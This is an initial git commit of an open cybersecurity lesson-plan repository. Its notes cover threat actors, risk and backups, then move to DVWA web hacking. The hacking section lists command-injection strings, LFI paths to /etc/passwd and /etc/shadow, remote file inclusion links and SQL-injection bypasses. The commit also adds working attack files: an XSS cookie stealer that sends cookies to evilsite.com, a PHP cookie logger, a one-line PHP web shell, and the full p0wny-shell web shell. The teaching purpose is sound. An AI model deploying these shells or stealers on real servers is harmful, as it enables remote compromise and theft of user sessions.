Initial commit

This commit is contained in:
2024-06-28 18:50:56 -06:00
commit 9c7ec708fb
8 changed files with 905 additions and 0 deletions
+2
View File
@@ -0,0 +1,2 @@
# Auto detect text files and perform LF normalization
* text=auto
+157
View File
@@ -0,0 +1,157 @@
Lesson 1: Theory
define "assessing threats and mitigating risk within means"
"assessing theats"
Threat actors "who is threatening my shit"
Script kiddies - hack for bragging rights, low sophistication
"a `hacker` who uses premade tools and exploits without understanding them"
Hacktivists - Political motive
higher sophistication
more motivated
far more targeted
Organized crime - profit motive
Even higher sophistication
Scams, spam, phishing, malware
"scanning the whole fuckin internet for known exploits"
APTs - Advanced Persistant Threats - nation-state actors
Highest level of sophistication
Highly funded, large groups, well Organized
Espionage motives - occasional profit motive
Tend to operate in social engineering or especially 0day exploits.
Super important: find out who your most likely threat actors are.
Assets
"what shit do I have that needs to be protected" / "attack surface"
computers, phones, apps, servers, etc
Human beings
Super important: inventory your assets
"risk"
Financial
Reputational / social
Political
Important: find out what the risk of being pwned is
"mitigating"
Important: what assets should we focus on protecting?
Important: how should we go about protecting them?
"means"
Money
Time
user compliance
GRC
Governance
Policies
Adminsistration
"structure"
Risk
above
Compliance
"what laws do we have to follow?"
CIA Triad
Confidentiality
keep secrets secret
Make sure the people who need access, have access, securely
Integrity
Make sure your data is intact, unmodified, uncorrupted, correct
Availabiltiy
"make sure what should be available remains available"
Blue Team
"on defence"
Red Team "informs blue team"
"white hack hackers"
Try to break blue team's shit
they exist to inform blue team.
Purple Team "red team and blue team work together"
best model (imo)
Inventory Threats
Make a list of shit that could go wrong, as complete as possible
organize by impact and likelyhood
Threat heatmap
a simple heatmap
likelyhood of an attack (per year) (1-100%)
VS
impact of an attack (1-100)
One corner is "high likelyhood, high impact"
focus resources at quadrent
Opposite corner is "low likelyhood, low impact"
monitor, keep an eye on it
Continuity of business / disaster response/recovery
"to keep shit up and running when shit goes wrong"
Important: make a frikkn plan
Include: timeframe for fixes and cost of fixes
Backups
FUCKING DO THEM TWO LOCAL ONE REMOTE MINIMUM
Types:
Incremental
only back up data that has changed
uses less disk space
can be used for recovering from file deletes, mistakes, etc where you want to roll back the data
often the slowest to fully recover from
Full
just a full, seperate copy of all your data
os image, whatever
the largest in terms of filesize
also the fastest to recover from
You need both!
Schedule
"how often should we do a full backup?"
"how long should we store old data?"
"how often do we update the redundant storage?"
Redundancy
"having more than one thing in case it breaks"
9s problem
99% uptime on a decent thing is kinda a given
99.9% uptime (one 9 of uptime)
backup servers
faster incident response
more redundancy and procedure
99.99% uptime (two 9s)
geographically seperated backup servers
content delivery network
backup equipment to work on it (workstations, etc)
99.999+% uptime (three 9s)
fuckikn insane google-tier shit
Important: define what level of redundancy you need and can afford
Cold site, warm site, hot site
"spaces, physical or digital, that you can fall back to"
Backup physical office space
Backup datacenter
A spare cloud hosting account with your images loaded
Cold site
a backup space that will take some real time to get running
Hot site
a site that is 100% functional and ready to switch to at any time
Warm site
somewhere in-between
Power (electrical generator, power bank)
Manpower
Hardware (backup workstations, etc)
Backups
Important: "what is so important that we will spend money and time to mitigate downtime?"
Security Team
CISO - Cheif Information Security Officer
Generally report to the Chief Information Officer (CIO) or the Cheif Technical Officer (CTO)
Imo: CISO should to the board/president
Policymakers - make policies and rules and shit
Administration level - managing shit day to day
SOC - Security Operations Center
SOCs are fuckin cool
SOC base-level employee is a "threat analyst"
Monitor the cyber security status of the comany
tools like Splunk aggregate logs and alerts and put them into big tables, graphs, charts, maps, etc
When soemthing happens, they escelate to incident resoponse (IR)
which could be elevated to the disaster recovery team (OneDrive)
Monitoring
aggregate logs, alerts, security involved actions, all in one place
Splunk or free option ELK Stack
Baselining
"finding out what `normal` looks like, and build alerts for deviations"
AI works super good for this as a STARTING POINT
Cyber security domains: https://taosecurity.blogspot.com/2017/03/cybersecurity-domains-mind-map.html
+128
View File
@@ -0,0 +1,128 @@
== Networking ==
IPv4/IPv6
ipv4 127.0.0.1
ipv6 2001:db8:3c4d:15::1a2f:1a2b.
DNS
translates domain names into ip addressess
client server
CLIENT = YOU(r device)
web server in this case
client: "hey google give me x page" -> upload
google: "here I found it, go ahead and download this page" <- download
request -> reply
TCP/UDP
web pages
files. .html .php .aspx
request: /dogs.html -> server: here is dogs.html
request/reply/"everything is a file"
frontend/backend
get/post/etc
"hey google, search for ppony fanfics"
request: POST search=pony fanfics
frontend: is the stuff sent to your Browser
and the web pages you make requests to
(public, client-facing)
html/css/javascript
backend: web servers,
php, node,
database, actions, api
== Basic Web Hacking ==
DVWA
Web Browser:
* command injection
get the GET var (ip)
load that into a command (ping command)
execute
theory: execute("ping $ip");
$ip = 8.8.8.8
Theory execute("ping 8.8.8.8")
$ip = 8.8.8.8; ls
$ip = 8.8.8.8 && ls -lah && whoami && groups && id
$ip = 8.8.8.8 && echo "hello world" > file.txt
a few things to try:
; (stack commands)
&& (stacks commands)
` (executes commands on some systems)
echo "something" > file.php (make a file)
* LFI
Local File Inclusion
"web server loads a file from its own drive and shows it"
try making it read a sensitive file?
a few things to try:
/etc/shadow
/etc/passwd
../../../../../../../../etc/passwd
Leak sensitive files
Database files
* RFI upload
When web server downlaods and executes a remote file
like: /page.php?file=file1.php -> /page.php?file=https://pastebin.com/raw/jmtqDfWQ
(if you need multiple GET variables):
./page.php?file=https://pastebin.com/raw/jmtqDfWQ&somevar=1337
(append &variablename=value)
a few things to try:
PHP shell
p0wny-shell-FI-mod: https://pastebin.com/raw/jmtqDfWQ ( Source: https://github.com/flozz/p0wny-shell )
simple-php-shell: https://pastebin.com/raw/uxbKCBGg
Malware of any type
* Stored XSS
<script>
i=new Image();
i.src="http://evilsite.com/cookielogger.php?cookie="+document.cookie;
document.appendChild(i);
</script>
* Reflected XSS
like search pages, etc
uses GET variables in the URL usually
requires tricking a victem into clicking a malicious link
* Open HTTP Redirect
get variables usually
just let you redirect from a legitimate site to your own
usually requires getting a victim to click a malicious link
SQL Injection:
"modifying an SQL query to do something fun"
Lab: https://www.db-fiddle.com/f/mZ2ftcLLzZLbrEELn38hjQ/17
Theory: SELEC
$user = Delilah123
$password = ??
SELECT * FROM users WHERE username='$user' AND password='$password';
$password = '
SELECT * FROM users WHERE username='Delilah123' AND password=''';
ERROR!
$password = anythinghere' OR 1=1
SELECT * FROM users WHERE username='Delilah123' AND password='anythinghere' OR 1=1'
ERROR
> always true!
$password = anythinghere' OR 1=1 --
-- is an sql comment! (space at start and end)
SELECT * FROM users WHERE username='Delilah123' AND password='anythinghere' OR 1=1 -- '
EXECUTES AND MATCHES!
#Burp Suite:
#* Weak session IDs
#* Brute force
#Coding:
#* CSRF
#* XSS keylogger
#* Advanced XSS+CSRF payload
Links:
SQL Injection Lab (WIP): https://www.db-fiddle.com/f/mZ2ftcLLzZLbrEELn38hjQ/16
p0wny-shell-FI-mod: https://pastebin.com/raw/jmtqDfWQ ( Source: https://github.com/flozz/p0wny-shell )
simple-php-shell: https://pastebin.com/raw/uxbKCBGg
basic XSS cookie stealer: https://pastebin.com/raw/puftrh39
General payloads including XSS and SQL Injection: https://swisskyrepo.github.io/PayloadsAllTheThings/
General hacking: https://cheatsheet.haax.fr/
Pi Pico W Power Analysis Tool (WIP): https://github.com/PrincessPi3/PiPicoPATLFGGGGG
+2
View File
@@ -0,0 +1,2 @@
# OpenCybersecLessonPlan
Open Coursework for Cyber Security
@@ -0,0 +1,5 @@
<script>
i=new Image();
i.src="http://evilsite.com/cookielogger.php?cookie="+document.cookie;
document.appendChild(i);
</script>
@@ -0,0 +1 @@
<?php file_put_contents("cookies.txt", $_GET['cookie'], FILE_APPEND); ?>
+1
View File
@@ -0,0 +1 @@
<?php print(shell_exec($_GET['x']));die();?>
+609
View File
@@ -0,0 +1,609 @@
<?php
// Source: https://github.com/flozz/p0wny-shell
$SHELL_CONFIG = array(
'username' => 'admin',
'hostname' => 'password',
);
function expandPath($path) {
if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) {
exec("echo $match[1]", $stdout);
return $stdout[0] . $match[2];
}
return $path;
}
function allFunctionExist($list = array()) {
foreach ($list as $entry) {
if (!function_exists($entry)) {
return false;
}
}
return true;
}
function executeCommand($cmd) {
$output = '';
if (function_exists('exec')) {
exec($cmd, $output);
$output = implode("\n", $output);
} else if (function_exists('shell_exec')) {
$output = shell_exec($cmd);
} else if (allFunctionExist(array('system', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
ob_start();
system($cmd);
$output = ob_get_contents();
ob_end_clean();
} else if (allFunctionExist(array('passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
ob_start();
passthru($cmd);
$output = ob_get_contents();
ob_end_clean();
} else if (allFunctionExist(array('popen', 'feof', 'fread', 'pclose'))) {
$handle = popen($cmd, 'r');
while (!feof($handle)) {
$output .= fread($handle, 4096);
}
pclose($handle);
} else if (allFunctionExist(array('proc_open', 'stream_get_contents', 'proc_close'))) {
$handle = proc_open($cmd, array(0 => array('pipe', 'r'), 1 => array('pipe', 'w')), $pipes);
$output = stream_get_contents($pipes[1]);
proc_close($handle);
}
return $output;
}
function isRunningWindows() {
return stripos(PHP_OS, "WIN") === 0;
}
function featureShell($cmd, $cwd) {
$stdout = "";
if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) {
chdir(expandPath("~"));
} elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
chdir(expandPath($match[1]));
} elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
return featureDownload($match[1]);
} else {
chdir($cwd);
$stdout = executeCommand($cmd);
}
return array(
"stdout" => base64_encode($stdout),
"cwd" => base64_encode(getcwd())
);
}
function featurePwd() {
return array("cwd" => base64_encode(getcwd()));
}
function featureHint($fileName, $cwd, $type) {
chdir($cwd);
if ($type == 'cmd') {
$cmd = "compgen -c $fileName";
} else {
$cmd = "compgen -f $fileName";
}
$cmd = "/bin/bash -c \"$cmd\"";
$files = explode("\n", shell_exec($cmd));
foreach ($files as &$filename) {
$filename = base64_encode($filename);
}
return array(
'files' => $files,
);
}
function featureDownload($filePath) {
$file = @file_get_contents($filePath);
if ($file === FALSE) {
return array(
'stdout' => base64_encode('File not found / no read permission.'),
'cwd' => base64_encode(getcwd())
);
} else {
return array(
'name' => base64_encode(basename($filePath)),
'file' => base64_encode($file)
);
}
}
function featureUpload($path, $file, $cwd) {
chdir($cwd);
$f = @fopen($path, 'wb');
if ($f === FALSE) {
return array(
'stdout' => base64_encode('Invalid path / no write permission.'),
'cwd' => base64_encode(getcwd())
);
} else {
fwrite($f, base64_decode($file));
fclose($f);
return array(
'stdout' => base64_encode('Done.'),
'cwd' => base64_encode(getcwd())
);
}
}
function initShellConfig() {
global $SHELL_CONFIG;
if (isRunningWindows()) {
$username = getenv('USERNAME');
if ($username !== false) {
$SHELL_CONFIG['username'] = $username;
}
} else {
$pwuid = posix_getpwuid(posix_geteuid());
if ($pwuid !== false) {
$SHELL_CONFIG['username'] = $pwuid['name'];
}
}
$hostname = gethostname();
if ($hostname !== false) {
$SHELL_CONFIG['hostname'] = $hostname;
}
}
if (isset($_GET["feature"])) {
$response = NULL;
switch ($_GET["feature"]) {
case "shell":
$cmd = $_POST['cmd'];
if (!preg_match('/2>/', $cmd)) {
$cmd .= ' 2>&1';
}
$response = featureShell($cmd, $_POST["cwd"]);
break;
case "pwd":
$response = featurePwd();
break;
case "hint":
$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
break;
case 'upload':
$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
}
header("Content-Type: application/json");
echo json_encode($response);
die();
} else {
initShellConfig();
}
?><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>p0wny@shell:~#</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<style>
html, body {
margin: 0;
padding: 0;
background: #333;
color: #eee;
font-family: monospace;
width: 100vw;
height: 100vh;
overflow: hidden;
}
*::-webkit-scrollbar-track {
border-radius: 8px;
background-color: #353535;
}
*::-webkit-scrollbar {
width: 8px;
height: 8px;
}
*::-webkit-scrollbar-thumb {
border-radius: 8px;
-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
background-color: #bcbcbc;
}
#shell {
background: #222;
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
font-size: 10pt;
display: flex;
flex-direction: column;
align-items: stretch;
max-width: calc(100vw - 2 * var(--shell-margin));
max-height: calc(100vh - 2 * var(--shell-margin));
resize: both;
overflow: hidden;
width: 100%;
height: 100%;
margin: var(--shell-margin) auto;
}
#shell-content {
overflow: auto;
padding: 5px;
white-space: pre-wrap;
flex-grow: 1;
}
#shell-logo {
font-weight: bold;
color: #FF4180;
text-align: center;
}
:root {
--shell-margin: 25px;
}
@media (min-width: 1200px) {
:root {
--shell-margin: 50px !important;
}
}
@media (max-width: 991px),
(max-height: 600px) {
#shell-logo {
font-size: 6px;
margin: -25px 0;
}
:root {
--shell-margin: 0 !important;
}
#shell {
resize: none;
}
}
@media (max-width: 767px) {
#shell-input {
flex-direction: column;
}
}
@media (max-width: 320px) {
#shell-logo {
font-size: 5px;
}
}
.shell-prompt {
font-weight: bold;
color: #75DF0B;
}
.shell-prompt > span {
color: #1BC9E7;
}
#shell-input {
display: flex;
box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
border-top: rgba(255, 255, 255, .05) solid 1px;
padding: 10px 0;
}
#shell-input > label {
flex-grow: 0;
display: block;
padding: 0 5px;
height: 30px;
line-height: 30px;
}
#shell-input #shell-cmd {
height: 30px;
line-height: 30px;
border: none;
background: transparent;
color: #eee;
font-family: monospace;
font-size: 10pt;
width: 100%;
align-self: center;
box-sizing: border-box;
}
#shell-input div {
flex-grow: 1;
align-items: stretch;
}
#shell-input input {
outline: none;
}
</style>
<script>
var SHELL_CONFIG = <?php echo json_encode($SHELL_CONFIG); ?>;
var CWD = null;
var commandHistory = [];
var historyPosition = 0;
var eShellCmdInput = null;
var eShellContent = null;
function _insertCommand(command) {
eShellContent.innerHTML += "\n\n";
eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
eShellContent.innerHTML += escapeHtml(command);
eShellContent.innerHTML += "\n";
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function _insertStdout(stdout) {
eShellContent.innerHTML += escapeHtml(stdout);
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function _defer(callback) {
setTimeout(callback, 0);
}
function featureShell(command) {
_insertCommand(command);
if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
} else if (/^\s*clear\s*$/.test(command)) {
// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
eShellContent.innerHTML = '';
} else {
makeRequest("&feature=shell", {cmd: command, cwd: CWD}, function (response) {
if (response.hasOwnProperty('file')) {
featureDownload(atob(response.name), response.file)
} else {
_insertStdout(atob(response.stdout));
updateCwd(atob(response.cwd));
}
});
}
}
function featureHint() {
if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
function _requestCallback(data) {
if (data.files.length <= 1) return; // no completion
data.files = data.files.map(function(file){
return atob(file);
});
if (data.files.length === 2) {
if (type === 'cmd') {
eShellCmdInput.value = data.files[0];
} else {
var currentValue = eShellCmdInput.value;
eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
}
} else {
_insertCommand(eShellCmdInput.value);
_insertStdout(data.files.join("\n"));
}
}
var currentCmd = eShellCmdInput.value.split(" ");
var type = (currentCmd.length === 1) ? "cmd" : "file";
var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
makeRequest(
"&feature=hint",
{
filename: fileName,
cwd: CWD,
type: type
},
_requestCallback
);
}
function featureDownload(name, file) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
element.setAttribute('download', name);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
_insertStdout('Done.');
}
function featureUpload(path) {
var element = document.createElement('input');
element.setAttribute('type', 'file');
element.style.display = 'none';
document.body.appendChild(element);
element.addEventListener('change', function () {
var promise = getBase64(element.files[0]);
promise.then(function (file) {
makeRequest('&feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
_insertStdout(atob(response.stdout));
updateCwd(atob(response.cwd));
});
}, function () {
_insertStdout('An unknown client-side error occurred.');
});
});
element.click();
document.body.removeChild(element);
}
function getBase64(file, onLoadCallback) {
return new Promise(function(resolve, reject) {
var reader = new FileReader();
reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
reader.onerror = reject;
reader.readAsDataURL(file);
});
}
function genPrompt(cwd) {
cwd = cwd || "~";
var shortCwd = cwd;
if (cwd.split("/").length > 3) {
var splittedCwd = cwd.split("/");
shortCwd = "/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
}
return SHELL_CONFIG["username"] + "@" + SHELL_CONFIG["hostname"] + ":<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
}
function updateCwd(cwd) {
if (cwd) {
CWD = cwd;
_updatePrompt();
return;
}
makeRequest("&feature=pwd", {}, function(response) {
CWD = atob(response.cwd);
_updatePrompt();
});
}
function escapeHtml(string) {
return string
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;");
}
function _updatePrompt() {
var eShellPrompt = document.getElementById("shell-prompt");
eShellPrompt.innerHTML = genPrompt(CWD);
}
function _onShellCmdKeyDown(event) {
switch (event.key) {
case "Enter":
featureShell(eShellCmdInput.value);
insertToHistory(eShellCmdInput.value);
eShellCmdInput.value = "";
break;
case "ArrowUp":
if (historyPosition > 0) {
historyPosition--;
eShellCmdInput.blur();
eShellCmdInput.value = commandHistory[historyPosition];
_defer(function() {
eShellCmdInput.focus();
});
}
break;
case "ArrowDown":
if (historyPosition >= commandHistory.length) {
break;
}
historyPosition++;
if (historyPosition === commandHistory.length) {
eShellCmdInput.value = "";
} else {
eShellCmdInput.blur();
eShellCmdInput.focus();
eShellCmdInput.value = commandHistory[historyPosition];
}
break;
case 'Tab':
event.preventDefault();
featureHint();
break;
}
}
function insertToHistory(cmd) {
commandHistory.push(cmd);
historyPosition = commandHistory.length;
}
function makeRequest(url, params, callback) {
function getQueryString() {
var a = [];
for (var key in params) {
if (params.hasOwnProperty(key)) {
a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
}
}
return a.join("&");
}
var url_plus = window.location+url;
var xhr = new XMLHttpRequest();
xhr.open("POST", url_plus, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
try {
var responseJson = JSON.parse(xhr.responseText);
callback(responseJson);
} catch (error) {
alert("Error while parsing response: " + error);
}
}
};
xhr.send(getQueryString());
}
document.onclick = function(event) {
event = event || window.event;
var selection = window.getSelection();
var target = event.target || event.srcElement;
if (target.tagName === "SELECT") {
return;
}
if (!selection.toString()) {
eShellCmdInput.focus();
}
};
window.onload = function() {
eShellCmdInput = document.getElementById("shell-cmd");
eShellContent = document.getElementById("shell-content");
updateCwd();
eShellCmdInput.focus();
};
</script>
</head>
<body>
<div id="shell">
<pre id="shell-content">
<div id="shell-logo">
___ ____ _ _ _ _ _ <span></span>
_ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
|_| |___/ \____/ <span></span>
</div>
</pre>
<div id="shell-input">
<label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
<div>
<input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
</div>
</div>
</div>
<p><b><a href="https://github.com/flozz/p0wny-shell">Source: p0wny-shell by flozz</a></b><p>
</body>
</html>
<?php die(); ?>